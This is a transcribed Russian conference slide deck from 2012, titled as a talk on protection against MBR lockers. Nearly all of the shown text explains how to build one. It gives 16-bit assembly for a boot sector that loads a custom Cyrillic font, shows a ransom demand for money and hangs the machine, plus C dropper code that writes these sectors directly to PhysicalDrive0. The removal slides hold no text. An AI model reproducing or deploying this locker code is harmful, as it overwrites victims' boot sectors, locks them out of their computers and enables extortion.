kranonit S04E01 Антон: Защита от Master Boot Record Locker

22
Тодинг Антон [email protected] bydood.blogspot.com #kranonit S04E01 2012 Защита от Master Boot Record Locker

description

 

Transcript of kranonit S04E01 Антон: Защита от Master Boot Record Locker

Page 2: kranonit S04E01 Антон: Защита от Master Boot Record Locker

Winlock-закат

Page 3: kranonit S04E01 Антон: Защита от Master Boot Record Locker

MBR lock- рассвет

Page 4: kranonit S04E01 Антон: Защита от Master Boot Record Locker

Этапы загрузки

Локер Windows1. post2. bios3. 1st boot sector4. os kernel5. gui shell-some 6. locker exe file

MBR Локер1. post2. bios3. 1st boot sector

Page 5: kranonit S04E01 Антон: Защита от Master Boot Record Locker

Почему ассемблер?● Первый загрузочный сектор всего 512 байт● Низший уровень● Самый маленький размер кода

Page 6: kranonit S04E01 Антон: Защита от Master Boot Record Locker

Из чего состоит mbrlocker

1. Дроппер (dropper)2. Загрузочный сектор

Дропер устанавливает загрузочные сектор

Page 7: kranonit S04E01 Антон: Защита от Master Boot Record Locker

Пишем загрузочный секторПроцесору работает в реальном режиме (16 битный код)[BITS 16][ORG 0x7C00]

Необходимо настроить все сегменты, потому что мы не знаем содержания регистров:mov ax, cs cli mov ss, axmov es, axmov ds, axmov sp, entry sti

Запрещаем прерывания командой cli что бы ничего не мешало

Page 8: kranonit S04E01 Антон: Защита от Master Boot Record Locker

Модель памяти TINY

Для работы с экраном используются только прерывания BIOS

mov ax,03int 0x10

0x10 прерывание биос 3 ф-я очистить дисплэй

Page 9: kranonit S04E01 Антон: Защита от Master Boot Record Locker

Делаем свой кирилический шрифт для знакогенератора. Для матрицы 8х16 буква "Я" такая:

Вымогаем деньги на русском

Каждый ряд переводим из двоичной системы в шестнадцатеричную00, 00, 7E, C6, C6, C6,C6, 7E, 36, 66, C6, C6, 00, 00, 00, 00

Page 10: kranonit S04E01 Антон: Защита от Master Boot Record Locker
Page 11: kranonit S04E01 Антон: Защита от Master Boot Record Locker

Стоит уже подумать о высоком уровне!Файл шрифта 1024 байта не влезает в загорузочный сектор 512 байт.Дропером запишем его в другие секторы 2 и 3.

Из загрузичка читаем файл из 2 и 3 сектора:

mov ah,0x02mov al,0x02mov bx,0x1000mov cx,0x0002int 0x13

ф-я 2 прерывание 13 читать секторычисло секторов = 2 (2 и 3)

Page 12: kranonit S04E01 Антон: Защита от Master Boot Record Locker

Подменяем английский шрифт на свой

в bx адрес таблицыв cx с какого сектора начинаем читать.

mov ah,0x11 ; ф-я 11 - загрузка пользовательского шрифтаxor al,al ; под ф-я 0mov bp,bx ; в bp адрес таблицыmov cx,64 ; в cx кол-во символовmov dx,192 ; в dx код начала символовint 0x10 ; прерывание

Page 13: kranonit S04E01 Антон: Защита от Master Boot Record Locker

Работаем с экраном; Пишем текст зелёным цветомmov ah,0x13xor al,almov bx,00001010bxor dx,dxmov cx,msgend-msgcall msgendmsg db 'Дайте мне очень много денег'

msgend:pop bp int 0x10; Зависаем в циклеjmp $TIMES 510-($-$$) db 0dw 0xAA55

Page 14: kranonit S04E01 Антон: Защита от Master Boot Record Locker

DropperКопируем HEX код:

1. Сектор MBR в массив mbr[512]2. Два сектора шрифта в массивы font1[512] и font2[512]

Записываем их в первые три сектора

HANDLE hout; // Хендл файла на три сектораhout = CreateFile(TEXT("\\\\.\\PhysicalDrive0"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);WriteFile(hout, mbr, sizeof(mbr), nw, NULL);SetFilePointer(hout, 1 * 512, nil, FILE_BEGIN);WriteFile(hout, font1, sizeof(font1), nw, NULL);SetFilePointer(hout, 2 * 512, nil, FILE_BEGIN);WriteFile(hout, font2, sizeof(font2), nw, NULL);CloseHandle(hout); // Не забываем чистить за собой

Page 15: kranonit S04E01 Антон: Защита от Master Boot Record Locker

Результат работы

Page 16: kranonit S04E01 Антон: Защита от Master Boot Record Locker

Устранение

Page 17: kranonit S04E01 Антон: Защита от Master Boot Record Locker
Page 18: kranonit S04E01 Антон: Защита от Master Boot Record Locker
Page 19: kranonit S04E01 Антон: Защита от Master Boot Record Locker
Page 20: kranonit S04E01 Антон: Защита от Master Boot Record Locker
Page 21: kranonit S04E01 Антон: Защита от Master Boot Record Locker